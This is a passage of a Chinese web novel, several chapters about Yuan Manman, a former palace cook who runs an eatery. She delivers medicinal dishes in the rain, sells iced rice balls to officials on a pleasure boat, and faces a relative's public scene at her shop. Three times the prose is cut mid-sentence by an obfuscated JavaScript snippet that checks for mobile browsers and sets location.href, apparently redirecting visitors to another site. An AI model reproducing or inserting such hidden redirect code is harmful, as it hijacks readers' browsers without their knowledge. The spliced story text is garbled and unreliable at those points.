"自然，娘，您在想什么呢？人家官宦之家，书香门第，我们高攀不上的，怎能因为几个好处就把自己当回事，心比天高了呢？"满满连忙打断，“就算当真成了，人家若是不把你放在眼里，人在屋檐下，这日子难道就好过了不成？” “娘，我们现在赚钱了，一家人也吃得起肉，逢年过节也能买新衣裳，不也很好吗？我认真做菜便是做菜，不管是于情于理，都得用心去对待，既是还了这一份情，另外呢，做生意也得以诚为本，你用心对待，人家也看在眼里，日后有生意都想着你，这才是道理。" 兰嫂子见她面上无波，依旧一个劲地看着炉火，叹了口气：“你说的也对，是娘眼皮子太浅了。” 兰嫂子走了出去，见袁大哥旁若无人地在一本书上批注，顿时心里冒出一股无名火，挪瑜道：“你这个不为咱们闺女操心的闲人，我问你，你可知满满这菜是给谁做的？” 袁大哥低着头，淡淡笑道：“咱家满满是个有主意的，你又不是不知道，我便是急也急不出名堂啊。” “往日这吴嫂子说了，让我多多留意店里往来的官人，说不定能钓上一个金龟婿。今日我瞧着，满满不愿嫁官宦人家，说是怕被瞧不起，我寻思着也有道理，要不让吴嫂子参谋参谋，给介绍一个？” 袁大哥想了想，缓缓道：“老婆子，我知你这心是好的，但我估摸着，这事，你还是得和满满商量，只有满满拍板决定了才能成。” 兰嫂子没好气地瞪了袁大哥一眼，招呼春燕和梅梅一起坐下用饭。 此时正值夏初，天气愈热，又逢梅雨季节，天气沉闷，寻常人都会少几分食欲。又想到这位夫人脾胃虚弱，满满从前在宫中当值，有一位老太妃也是同样症候，每每饮食料理都比旁人头疼几分，宫人也是费劲心思，和医官来回琢磨，最终才让这老太妃吃的爽口又利于脾胃。 满满今日便做了这几样，都是清清爽爽的，少油盐，去炸煎，用文火慢炖熬出食物本味，并不曾加香料等等。这样的菜极其考验厨子对食材的处理搭配和火候的把握，既要去除荤腥之味，又不能用太多香料调味，只能通过不同食材的性质来彼此中和。 食盒中放着几道药膳，以健脾祛湿、益气补虚为主。山药莲子薏米粥，《圣济总录》曾记载山药"益肾气，健脾胃"，常与莲子配伍；又一盅黄芪枸杞炖鸡，补气利水，黄芪"益元气，壮脾胃"，搭配茯苓祛湿；接着是三豆汤，三豆为，赤小豆，绿豆，黑豆，三豆煮汤，加少量冰糖润口，解毒祛湿，她翻阅《太平圣惠方》，其中道豆类"调中平胃"，暑湿困脾致食欲不振，可用此汤舒缓；三道主菜，又配了饭后茶点，则是坊间都有名的“八珍糕”，可却不是人人都能做好的，所谓八珍，即茯苓、莲子、芡实、山药、薏米等八味药材研粉制糕；最后，用生姜和红枣、红糖熬制姜枣茶，夏日虽热，却伏阴在内，用此茶暖胃。 临到装盒完毕，天空一道惊雷，竟然急急忙忙就落起雨来，这雨来得凶，豆大的雨点子砸在房梁上沙沙作响，没一会功夫，街上的人纷纷收摊，行人处处躲雨，竟然已经空无一人。此时再找一个闲汉送餐是不可能了，可这热饭又必须立刻食用，若是冷了，味道便散了大半，刚才一个时辰的功夫全都白忙活了。 满满想了想，撑起一把伞，身上又披了一件斗笠，脚下穿了一双防止湿鞋的木屐，便拎起食盒急匆匆朝外走。兰嫂子一晃神，人就不见了，急匆匆扒在门拦上，叫也叫不住。 袁大哥见状，想了想，问春燕和梅梅：“二位可知暖身的汤的方子，等满满回来，怕是要淋湿了，我去先熬上。” 春燕连忙答道：“自然会，您坐着，我这就去。” 梅梅抬起眼，眼神在一脸急色的兰嫂子和满脸关切的袁大哥身上流连片刻，晃过一瞬间的失落，下一秒，她拉住春燕：“春燕姐，您也忙活一天了，我去吧。” 春燕手脚利落，干活勤快，但是论做饭的手艺，是远远比不上梅梅的，便点点头坐下。 兰嫂子一脸担心地回来，嘴里嘟囔道：“这孩子，满脑子只有活计，下这么大雨呢，愣头青一样往外冲。” 袁大哥笑呵呵接腔：“年轻人身子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289205|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨好，我先去拿件干衣服烘着，这位小娘子帮忙熬了汤，待会回来衣服一换，喝口热汤，没事的。” 梅梅在灶房里，听到夫妻间的对话，眼神放空，不知想到了什么。 * 薛府宅子里，薛以桓皱了皱眉：“怎的突然下雨了，怕是送不来了，我让小厨房先备饭吧。” 薛以安心里有些焦急，握了一把伞，就要往外门去：“这会子下雨了，怕是找不到人送了，她若是自己来了，倒是真叫我们心里过意不去了。” 薛以桓之妻吴氏拦住他：“以安，你现在出去淋湿了染上风寒可如何是好，你且在这里等着吧，约莫不会来了，便是来，也是等雨小些了。” 他执拗地喃喃：“万一来了呢？都怪哥，非要让人家平添这些事端。” “你哥不也是为你好？你这小子.......” 吴氏拉住薛以桓，瞪了他一眼：“你也少说几句。” 坐在首位的当家主母杨氏瞧着兄弟两人，嘴边勾起一丝笑容：“也罢，二哥儿便去等着吧，若是没遇见人，便亲自驾车去铺子里取。你们哥俩整日吹的天花乱坠的，我倒是想尝尝什么滋味了。” 薛以安低头应是，然后便急匆匆打上伞出去了。 才到门口，远远望去，便见门前一条长街上，一道鹅黄色的影身影在雨幕中急急跑过来。他愣在原地，心里有些雀跃，却又觉得很是愧疚，连忙快步向前迎去。路面上已经积了不少水，他穿的是布面的黑色长靴，白色衫子，没走几步，靴子便已经全湿透了，雪白的衣摆也已经沾了不少泥水。 满满遥遥见到有人朝她走来，直到跟前，定眼一看，青色的伞面下，雨水顺着伞沿一串串地流下来，一张白中带粉的面庞，正是薛以安。 满满一打量他，一张明媚的脸在灰沉沉迷蒙蒙的雨天如同点亮阴暗一般笑了起来，她抬了抬脚，木屐上是一精致的绣兰花小白鞋，仅仅是零星有几个泥点子： “小官人，你是来接我吗？何必如此大费周章呢，你说你来便来吧，怎的穿着一双布鞋就出门了？这雨多大呀，水还挺深的，你脚很凉吧？” 少女清脆的嗓音隔着淅沥沥的雨幕传来，似乎来自很遥远的地方，他愣了片刻，反复几遍来回默念她的话，才把意思听进脑子里，连忙回道： “下这么大雨，怎么还亲自送来，真是辛苦袁小娘子了，快快随我进屋歇会。” 满满连忙道：“不了不了，我还没吃饭呢，既然遇上了你，便交给你了，银钱改日再来结便是。我得回去了。” 薛以安一听，心里更是羞愧焦急：“那......那小娘子去我家中用饭吧。”怕她拒绝，又连忙补充：“若是我娘喜欢，可否教授给家中厨娘，也不必每日叨扰小娘子。” 他见满满一愣，心里琢磨着，鬼斧神差地补充一句： “小娘子若是愿意教，我们必不会外传——” “定然重金相酬。” 19. 冒雨送膳二 这话倒是让满满有几分不好意思了，她脸一热，眼睛也有些不自然地看向鞋尖，半是气恼半是玩笑地回答： “知道了，定然把秘方倾囊相授。” 薛以安接过满满手里的食盒，二人并肩往前走，穿过轻飘飘雾蒙蒙的雨幕，食盒中一阵一阵飘上热气，混着白茫茫的雨雾。走到门口屋檐下，立刻有人接过二人手中的伞，满满跺了跺脚，细碎的水珠四溅开来，一双小鞋却多半干干爽爽。 “小官人，以后若是雨天出行，便可买一双这样的木屐，我从前见街上的闲汗常穿，便买了一双，果然在雨天不湿鞋。” 满满看了看薛以安一双湿透了的鞋，下意识说完，心里觉得好笑，这么大一个人，竟是一点常识也不晓得，穿着一双布鞋便敢往外冲。下一秒，却突然噤了声，倒也是，像他这般的衙内，若是雨天出行，不都是用轿子或者马车的罢？ 倒是她多嘴了。 薛以安不曾想满满九曲回肠的心思，只是立刻开心答应：“你说的是，我孤陋寡闻，明日便差人去买。” 几个小厮上前来：“二郎君，小娘子，夫人请二位进去，别着凉了。”一旁立刻有婢女接过满满身上的蓑衣。 二人进了厅堂，薛大人今日在禁中当值，屋里坐着薛夫人杨氏，薛以桓，薛以桓之妻吴氏，众人见满满，原以为她冒雨过来，大概浑身都要湿透了，可整个人却是全身干爽，唯有裙角有几个泥点子。 满满弯腰行了个礼，杨氏悄无声息地打量了她一圈，笑道：“好孩子，快起来吧，真是难为你，这么大的雨还送过来。” 满满笑了笑，温声道：“夫人哪里话，您瞧得上我的手艺，便是我的荣幸，有什么辛苦的。夫人快尝尝可否满意，待会凉了味道便不好了，若是有什么不合适的地方我再改改。” 众人揭开食盒，只见里面的小菜精致可口，荤素得宜，送来的及时，还不断往外送着热气，零星的油光亮闪闪地漂浮着，香味也溢散开来。 众人都咽了咽口水，饶是平日里胃口不好的薛夫人，竟也觉得有些饿了。 “难怪先前二哥儿整日惦念着小娘子的点心呢，真真是叫我看了都流口水。”吴氏笑道，斜着眼睛打趣地看了薛以安一眼。 “嫂嫂开玩笑呢，小娘子别误会。”薛以安有些羞恼地看了吴氏一眼，立刻辩解道。 “好了，不拿你打趣了，不止你呢，前些日子，你哥哥也对袁小娘子的手艺大为赞赏，如今看来，怕是娘也不能免俗了。”吴氏娇笑，一张俏丽的脸上，眼睛如同月亮一般弯起来。 薛夫人笑道：“就你嘴贫。”一旁婢女把菜一一取出来放在桌上，她轻轻拿起勺子，每样菜浅尝辄止，最后又轻轻抿了一口杯子中的茶：“这菜味道确实不错，吃进去胃里也舒服。” 薛夫人饮食上向来挑剔，能得此评价已经是这些年来第一回。薛以安担心满满不安，立刻回头道：“多亏了小娘子，母亲十分满意，真是辛苦了。” 薛夫人也笑着点头，端起饭碗，又尝了几口，招了招手，身旁的嬷嬷走过来，往满满手里塞了一个荷包，满满不好在众人面前打开，掂量着却并不沉重，便也笑着收下了。 薛夫人慈祥地笑道：“行了，你们都已经看了，快去吃自个的吧。”又看向满满：“劳烦小娘子，回去写一个方子，我让家中厨娘照着方子做。” 满满应下，服了服身子：“那我就不多叨扰了，方子我稍后写了差人送过来。” 薛以安连忙道：“你方才说还未用饭，留下来避避雨吧，用过饭再回去也不急。” 满满回道：“不必了，多谢小官人好意，但我爹娘还在家中等我呢，我还是先回去吧。” 薛以安还想说些什么，吴氏恨铁不成钢地瞪了他一眼，亲亲热热地挽起满满的手，笑道：“今日就多谢小娘子了，待会便坐家中马车回去吧。赶巧的事，过些日子我要在家中设宴，从前都是从丰乐楼订菜，可是价钱贵就算了，还总是排不上号，若是你愿意，我听以桓说，你从前是在宫中当值，想必这一行也不在话下吧？” 满满一听，心中略一计较，她擅长做菜不假，但若严格来论，最擅长的还是点心，若是接下这桩买卖，便是顺势打入各位官家女眷之中，其中利润，光是随便想想便觉得惊人。可是这些宴会酒席，往往都被大酒楼或是三司六局承办，哪里轮得到她这样的小食肆分一杯羹？ 她连忙应下：“您放心，若是您以后需要，找我便是，包给您办的妥妥贴贴。” 既如此，满满便要告辞，薛以安又从怀中掏出一个荷包递给满满，她连忙推辞： “方才夫人已经赏我一个荷包了，您不必再给了。” 薛以安摇了摇头，往满满身前送去： “小娘子糊涂了，母亲方才给的是赏赐，因小娘子做的好，味道美，是额外给的，我现在给小娘子的是饭钱，你务必收下。” 满满转念一想，反正这些钱对他来说，不过是塞塞牙缝，若是她强行推拒，倒像是假清高一般，便收下。只是心里莫名有些惭愧，不过转念一想，有了这些钱，便能早日置办更大的酒楼，便也不再纠结。 出门时，早已备下了马车，满满百般推拒，却拗不过主人家的热情，一路乘马车回到了家中。 满满独自坐在马车上，透过帘子往外看，窗外的雨依旧淅淅沥沥，虽然雨势已经见小，但依旧连绵不绝。这样缠绵的梅雨季，也莫名让她心头多了一丝愁绪，她的木屐和斗笠放在马车的角落，显得有些不合时宜。她抿了抿唇，总有一天，她也会拥有一辆马车。 她轻轻掏出两个荷包，第一个是薛夫人给的，第二个是薛以安塞给她的。第二个掂量着有些重量，打开一看，和她想的差不多，按照几道小菜的市价双倍给她，约莫一贯钱。让她有些惊讶的是薛夫人给的荷包，她原以为只是几个铜钱，打开小小的口子，往外一倒，赫然是一片小小的金叶子。 金叶子。这对于她来说是在是有些贵重。 满满怔了怔，片刻，低下眼，敛去心头情绪，把金叶子小心地塞进袖子里。 兰嫂子和袁大哥见满满好好地回来了，也放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297462|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下了心，他们也才开始用饭，满满喝了梅梅煮的姜汤，添了一把筷子开始吃饭。 吃过饭，梅梅和春燕也要回去了。 满满知道春燕家中有一对年幼的孩子，今日听她念叨，明日便是她女儿的生辰，但作为孩子的娘，却还得出来赚钱补贴家用，哪有空陪女儿？满满想了想，从荷包中取出二十文，又拿了几个今日店里剩下的松黄饼，递给春燕：“春燕姐，今日实在是很忙，辛苦你了，这几个钱你带回去，就当我给几个孩子的零嘴。” 春燕在裙子上擦了擦手，犹豫片刻接过，神情有些恍惚：“我替孩子多谢袁小娘子。” 满满轻轻点头，补充道：“明日若是你想在家陪女儿，便不用来了。工钱我按照月结，若是明日不来，便扣掉明日三百文即可。” 满满也曾计较过，要不便让她不来了，工钱照旧结给她？可是想了想，又觉得若是坏了规矩，往后招工更多，人人便都不把她当回事如何是好，最后恩反生怨，得不偿失；况且这些日子，铺子里也是很忙，若是少了一个人帮忙，要么便是兰嫂子上阵，辛苦了自己的娘，要么便是少赚不少钱，亏了她自己。她不是什么大圣人，最终能做的只是把选择权交给春燕，一切都是个人取舍罢了。 春燕点了点头，和满满告别。 梅梅也即将离开，知会了满满一声。 难得空闲下来，满满多嘴问了一句：“梅梅，这几日我也瞧着，你厨艺比起临安大多数食肆都是不逊色的，若是自己开一个铺子，想必也是使得的，先前听姚行老说，你从前也是开食肆的，为何现下不开了?” 满满随口几句话，似乎触动了梅梅，她脸上露出一丝挣扎和犹豫，半晌不知如何开口。 满满见她神色有些奇怪，便笑道：“你不想说便不说了，没事的，你快回去吧。” * 雨下了一整夜。 前半夜雨势稍小，眼见着便要停了。满满嫌屋里闷热，便把床边的窗口开了一条缝。待到后半夜，睡得正熟，满满突然觉得又凉又冷，醒了过来，才发现外边狂风大作，电闪雷鸣，窗户也被吹开，豆大的雨点噼里啪啦地落下来，如同一颗颗珠子落进缸里，屋里靠窗的一边都积满了雨水。 她连忙跻着鞋子，用尽全身力气把窗子关了起来。 满满再度睡下，第二日天未亮，满满被兰嫂子叫醒。 “满满，你快出来看，昨晚雨太大了，怕是泥土松动，墙都塌了！” 袁大哥和兰嫂子都站在院子里，此时雨已经停了，但院子背后临河道的一堵高墙竟然塌了。满满走出来时，脑子懵懵的，看到的便是这样一副场景。 院子里堆满碎砖碎瓦，大小坑里汪着泥水；但往院子外面看去，灰蒙蒙的天色中，一条沉静的河流上一波推着一波，已经有渔夫点起渔灯，黑色的水面上波光闪闪，还有一两艘如同楼阁一般的大船静静飘着，岸边也有着星星点灯的火光。 她从前听说这条街傍河，但这堵后墙实在是太高，她从不曾往外看过，如今才惊觉，原来还有这般好光景。 20. 画舫生意 昨日电闪雷鸣，到了今日却是意外的天气晴好，艳阳高照，空中还漂浮着泥土的气息，疏忽之间有几缕风吹过，轻轻的，柔柔的，扰的人心头发痒。 墙坍塌的地方在院子后屋宅背后，有不少沙石落到院中，满满先找了几个人把院子收拾了一番，至于这后墙如何，之后再做打算。为了防止有客人走到屋后失足掉进河里，满满还从吴嫂子那里买了几盆大型的绿植放在院中堵住去路。 其余一切照常。天气晴好，自然心情也极佳，忙活了好一会，偶尔绕过院子，向屋后的晴芳河看去，只见河水清澈，水波荡漾，阳光铺满水面，波光粼粼，不少船只也趁这好天气游河，船上张灯结彩，悠哉乐哉。 夏越来越深了。草木碧绿，地面也没一会就变得滚烫，满满每日不再上街摆摊，一个原因是太热，另外一个原因则是客源收割得差不多了，日日铺子里不管何时都会满满当当，来来往往大多小富的官员士子。食材也是足够的，做点小菜反而利润更大。 晨间，先是做了五十份奈花索粉，门口立了牌子今日不再多做，不少人挣着抢着，没一会便卖光了。 今日去食行挑选食材，恰好碰上北方的冰运了过来。酷暑难耐，该到了吃冰的时节了。虽然冰价极贵，但满满的食肆的收入远高于临安正常百姓的收入，所以还是决定咬咬牙，扣扣搜搜买了两块半身高的冰，然后张灯结彩地运回店中，一楼各一块，置于一众盆栽中，既美观又清凉，尤其是院子里的穿堂风吹过，把凉气送达每一个角落，好不畅快。 有了这块冰的缘故，不少人咬咬牙都要进店吃一碗冰粉，至少在这坐一会，又香又凉，三五好友聚在这里，吃酥分茶，倒也是避暑所在。 如此一来，倒是可以做不少夏日的冰饮冷食了，店里食客只见小娘子吊着袖子，手握一把短刃，噼里啪啦便是捣下不少碎冰，跟着味蕾也勾了起来： “小娘子，你捣冰做甚？可是要做什么新的花样了？” 满满只是神秘一笑：“您瞧好便是，不会差这一口！” 满满揭开陶罐，舀出半瓢水磨糯米粉。青瓷碗里温水细细调开，揉成耳垂般软和的面团。又把去皮绿豆磨成粉末，混着糯米粉揉在一起。指尖蘸些干粉，搓成黄豆大小的圆子，滚在竹筛里，沙沙作响。 铜锅水沸，圆子下锅，竹笊篱轻轻推散。待白胖胖浮起，舀三回井水点锅，圆子便透亮如新剥的芡实。捞起投进冰鉴镇着的山泉，激得圆子愈发紧实弹牙。 粗陶钵底先铺层碎冰碴，捣得沙沙响，没一会功夫，冰渣便成了又碎又糯的冰沙，冰粒子裹着圆子堆成小山，浇两勺甘蔗熬的琥珀糖浆，又淋半匙高价买来的窖了三月的糖桂花。 最后放几颗洗净的青杏，缀在冰雪间，甜酸气混着凉雾，一眼望上去淡绿色的圆子伴着翠色的杏子，便觉得凉意冲淡了暑气。 木勺碰着冰碴喀嚓响。轻轻送入口中，圆子咬开糯中带韧，冰沙沁得舌根发麻，桂香缠着蔗甜在齿间打转。满满拿井水湃过的荷叶衬底，码上两盏白玉似的冰雪圆子，水珠顺着叶脉往下滚。 今日春燕还是来了，满满把“冰雪冷圆子”的做法教给二人，这一道小菜，最是适合夏天，尤其是酒饱饭足的屋后，吃上一盏，酸酸甜甜，冰冰凉凉。但是由于冰贵，满满也想多赚一些利润，便定了五十文一份的价格。 本朝不少食肆有“看菜”的传统，即在点菜之前，会先上几道样菜，但只能看不能吃。 由于人手有限，菜式多样，所以满满一直没有推行过“看菜”。今日把冰雪冷圆子做出来，便放在了大堂里，不少人前来看，一问价得知五十文一份，大多望而却步。 几人试图讲讲价，希望满满可以便宜些，满满却笑道： “这冰本就又贵又少，这菜今日只做五十份，卖完便没了，您若想尝个新鲜，便赶紧的吧。” 果不其然，过了一会，几位官员到了院子里闲谈，见了这冰雪冷圆子，只觉得甚是可口，立时便要了五份。 其他人见状，也咬咬牙陆续买单。 满满把剩下的活交给春燕和梅梅，径自捧了一碗冰雪冷圆子，拎了一把椅子到了屋后江边，悠闲地坐下来，一边小口吃着圆子，一边看着江面上船只来来往往。难得有这样闲适的时刻，竟然有些懒怠，愈发觉得做甩手掌柜的好来。 视线中，一艘三层高的画舫朝着她这边的河岸飘了过来，她正兀自欣赏着这船上层层叠叠的屋檐，突然见二层的窗户里探出一个头，奋力向她招手： “袁小娘子，可是又做了什么新菜？送些来船上如何？” 满满眉心一跳，竟然是蔡衡。不过这一句话却是激起了满满的兴致，这样的豪船，其上坐着的，必定也不是什么普通人，出手也必定是阔绰的，便立刻招手回应到： “蔡大人，许久未见！我在吃冰雪冷圆子呢，是店里的新花样，这天热了，吃点冰凉的舒服！我怎么送船上来？” 蔡衡思索片刻，回答道：“我让人把船靠岸，小娘子便从岸边窗户里翻进来吧。” 话未说完，蔡衡突然觉得手臂被什么一扯，只见薛以安皱着眉，躲在窗户旁边，气愤道： “知远兄，你这说的什么话，一个女子，从窗户翻进来多危险！你也得为她考虑呀。” 蔡衡想了想，也觉得有理，便又凑出窗户，却见满满已经提了好多食盒放在岸边，见他探出头，又立刻答到： “蔡大人，我先把食盒递上去，您拉我一把，我便从一楼上去了。” 既然满满答应了，蔡衡自然也是乐意的，当即找了一个小厮知会船家，整艘画舫也慢慢朝着岸边靠过去。满满踮起脚来，刚好能够够上画舫二楼的窗户，她拿起食盒便往楼上窗户递，蔡衡接过，一面有些抱歉地说： “楼下和楼上并不是一批人，楼下的大人并不待见我们，所以劳累小娘子翻进来了。” 满满浑不在意：“无妨，我爹娘从小便把我当男娃养的，这点事不在话下。” 此时，满满已经往上递了二十个食盒，正双手拉住窗檐，打算翻上来时，窗里突然又探出一个人头，急切地说道： “小娘子，这实在太危险了，况且你是女儿家，坏了你名声怎么好？你且等一等，我去和楼下的大人知会一声，你从楼下上来。” 满满一撇，原来是薛以安，眨眨眼笑道：“小官人，又见面了？”正想接着拒绝，她并不想给客官添麻烦，也不想得罪楼下的大人们。 薛以安似乎预料到她要说什么，连忙道：“小娘子你想想，一楼坐着的可都是四品以上的大员，你若是知会他们一声，说不好他们好奇，你还能多卖一些呢。” 满满一想，也觉得很有道理，于是便道：“好，那我等你，多谢。” 薛以安立刻急急往下跑，蔡衡见状，也连忙跟了下去。刚从楼梯口出来，便见几位大人坐在大氅铺成的椅子上品酒，听见声响，他们转过头来，只见是两名白脸的小书生，都是轻轻一笑。 为首的晁素臣挑挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301299|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉问道：“二位有何事？” 蔡衡心里有些发怵，手臂拐了拐薛以安，后者恭敬开口： “回提举大人，酷暑难耐，我们从岸边铺子里要了不少冷食，可否让店家从一楼上船来？” 几位大人一笑，原来是这些后生嘴馋。晁素臣平日里严肃，但此事也属人之常情，便随意笑道： “无碍，去罢。” 二人走到一楼船沿，喜气洋洋地朝满满招了招手，满满已经捧好了一碗卖相极好的冷圆子，迈过一步便上了船。几人原路返回，到了大人们面前，薛以安轻轻弯腰： “叨扰大人们雅兴了，我们便先上去了。” 晁素臣微微掀起眼帘，微微一瞥，却突然微不可查地颤了颤，面前的女子垂着头，穿着碧绿的纱裙，脸颊白皙带粉，不正是袁家小娘子吗？ 满满虽然垂着眼，但眼观六路，耳听八方，余光里自然是看见了晁素臣，不知怎的，心里竟然奇异地颤了颤，倒是有几分紧张起来。 坐在晁素臣身旁的一位老丈却突然叫住满满： “等一等，这手里端的便是你们方才道的冷食吧？端上来让我瞧瞧。” 满满心里一喜，面上却依旧保持平静，微笑着走到老丈面前。她从前在宫中学的礼仪举止，步伐仪态皆有规矩，几位官人都不由得正视她几分。 “回官人，这道点心名叫冰雪冷圆子，民间贯有这吃法，不过冰贵，百姓都是用井水镇一镇。今日这一份，却是加了冰的，却是适合夏日，配上梅子酸甜清爽，二者甚是相宜。” 满满微微低头，回话时目视前方，却又微微垂着，并不直视贵人，说话也是妥帖，老丈也心里熨帖，声音软了几分: “可惜了，我年纪大了，冰有些硬，怕是嚼不动了。” 满满立刻回答:“官人请细看，不碍事的，这冰并不是寻常块状，草民已经细细磨过，并不硌牙，入口即化，绵绵软软。” 船内虽然吹着江风，但仍旧有些燥热。虽然备下了冰饮冷食，但顾及着身体，都忍着没有传唤。现下面前放着现成的，冷气一阵阵送上来，仔细一闻，还有淡淡的果子清香，一个个绿色的小团子也是清凉秀致，看着着实喜人。更加之楼上一群馋嘴的后生数十碗地传唤，便不由得都动了口腹之欲。 晁素臣冷眼瞧着，一丝无奈又微微得意地笑意转瞬即逝。他眼神落在满满头上插的杏花上，促狭地笑出了声: “既然老师们喜欢，便烦请小娘子准备了送上来吧。” “也难为船上众人相陪，你去和船头管事的商量，整船都管够。” 满满愣了愣，克制着喜悦，神色有些复杂地抬眼看了晁素臣一眼，轻轻道:“是，多谢大人。” 薛以安站在一旁，二人之间的眼神往来清楚落进眼里。 蔡衡站在此处只觉得浑身不自在，见事情告一段落，连忙谄媚笑道: “下官便不打扰大人们雅兴了，大人们玩的尽兴。” 晁素臣微微颔首。蔡衡只见薛以安神情有些呆愣，戳了戳他，他猛然一抬眼，仿佛从遐思中转过神来，有些歉意地弯了弯腰，随着蔡衡上楼。 满满心中记挂二人今日的恩情，连忙叫住:“小官人！” 薛以安回头，瞳孔放大，有些期待地看着满满。 “我先去船头和管事的商量一番，待会再上来。” 他如释重负地笑了一下，点点头:“好。” 晁素臣指尖微动，似乎早已不再注意一切。 21. 菊嫂子闹事 满满走到船头，和船家说明来意，几人草草几句，定下了冰雪冷圆子三百份，每份要价六十文。 满满又从岸边下了船，和船家说好一个时辰后交货。回到铺子里，她又从食行叫了五个临时的帮工，买下五块冰，一行人便在后厨忙起来。 满满一面指挥，一面喜气洋洋说道：“画舫上的官人要了三百份呢，这可是笔大买卖，大伙加把劲弄出来，待会工钱双倍结给大家。” 一旁，梅梅正揉着面团子，听到这话，眼神变了变，却并未有任何动作。 满满也没有注意到异常，正忙活着，兰嫂子突然进来，脸上神情纠结，叫了满满一声，见满满看过来，朝她怒了努嘴。 满满心头一跳,走到兰嫂子身边，兰嫂子附耳轻声道：“菊嫂子带着老二家的来了，正在外面闹呢。” 满满眉心一跳，放下手中的碗，有些犹豫地看了看即将完成的团子，梅梅看到满满的眼神，却出乎意料地主动开口： “袁小娘子，你先去忙，待会我帮你送上去。”似乎怕满满不放心似的，又连忙补充道：“你放心，不会有问题的。” 满满虽然有些不放心，但是见梅梅白皙的脸上浮起一抹红晕，眼睛里也有着平日看不出的神采，顿了顿，笑道：“行，那就交给你了。” 满满便往外走，只见铺子门口，好多人围着看热闹，大热的天，一群人挤在一块，热的浑身直冒汗，臭烘烘的，毒辣的太阳炙烤着大地，头发也又烫又干，浑身没由来的烦躁起来。她只听人群中央传出一声又一声嘶哑的号哭声，伴着一声有一声的咒骂： “这是造了什么孽呀！有这么个吃绝户的！老袁家留下的家产都被败光了，心里念着他们处处帮扶着，没想到是这般白眼狼！真是命苦啊，遇上了这么狼心狗肺的一家，祖宗留下的家业平白送给了旁人，咱爹咱娘在地底下怎能瞑目！” 满满脑门一抽一抽地跳动着，忍着臭味，推开又闹又嚷的人群挤进去，只见菊嫂子一把眼泪一把鼻涕地坐在地上，浑身上下只穿了一件满是补丁的灰布衫，黄瘦的尖脸上有着被晒干的白色泪痕，张开的大口里是黑黄色的牙，看的满满一阵哆嗦。 在菊嫂子旁边，站着一个碧绿麻布裙的姑娘，面容姣好却干瘦，一脸无措和羞愧地站在菊嫂子身边，她一手拿着一个麻袋，另一手牵着一个孩子，正是袁大壮。 袁大壮呆滞地朝四面看着，鼻涕流进了嘴里，还一个劲地傻笑，却一个回头认出了满满，伸出手朝满满道： “娘子，”一双糊着糖浆的手伸过来，“给我糖，要吃糖。” 此言一出，周围哗然。 “之前还有不少郎君惦记着她，感情是个破鞋！” “女子出嫁从夫，丢下家人不管，自己倒是出人头地，整日在外抛头露面！” “看她这样的狐媚样子，不知在外勾引了多少郎君！” 满满皱了皱眉，半晌，扯出一个微笑，清了清嗓子： “各位静一静，天气这么热，大家在外面站着多辛苦？不如随我进铺子里坐坐，刚巧今日买了冰，整个屋子凉快着呢。今日我家中来了客人，倒是喜事，请各位喝凉茶如何？其中不少误会，倒也不怕各位见笑，我也同大家说道说道。” 夏日炎炎，在一众嘈杂和汗臭之间，小娘子穿着水蓝色的烟罗衫子，袖子用襻膊吊起，露出两段藕节一般白嫩的小臂。她整日待在有冰的屋子里，身上也带着一阵阵凉气，皮肤白腻，不见油光，仔细吸吸鼻子，，还能嗅到淡淡的脂粉气味。 平日里，周围邻里谁人没有闻过这食肆传出的食物香气？可往来皆是士子，自己也顶多是十天半月手头有点闲钱能去点几个小菜解解馋，平日里，哪里有钱日日去吃？这会子到了夏天，今日一早抬冰回去的阵仗，没有人不羡慕的，不过若是要进去歇歇凉，就得花钱，也只能眼瞅着别人去。既然她如此说，心里哪能不意动？恶毒的揣摩便不太说得出口了。 满满见众人安静了下来，心里也不由得感慨世态炎凉，人心势利，可谁人又不是如此，一点小恩小惠，便勾的蠢蠢欲动，遇着大财不敢向前冲，越是小便宜却越想占一占。 “这不是我的夫婿，我十五岁便入宫了，至今未嫁。这一位，不过是我娘家呆傻的堂兄。” “自古以来，便常说表哥表妹一家好，但我和我这堂哥哥，哪有什么姻缘可谈？” “不过话说回来，我这堂哥哥也是个可怜的，各位若是有合适的姑娘，也烦请留个神，大伯母想必也是为我这哥哥愁的很了，才会如此操劳。” 满满一脸惋惜，听了这话，众人再看这呆傻的袁大壮，还有什么不明白的？别提给他介绍亲事了，任谁家父母都不愿把闺女往这火坑里送的，若是这袁家有点家底，倒是另作打算；但看这袁家婆母，便是个难缠的，这样的婆家嫁进去，后半辈子便也没有什么指望了。 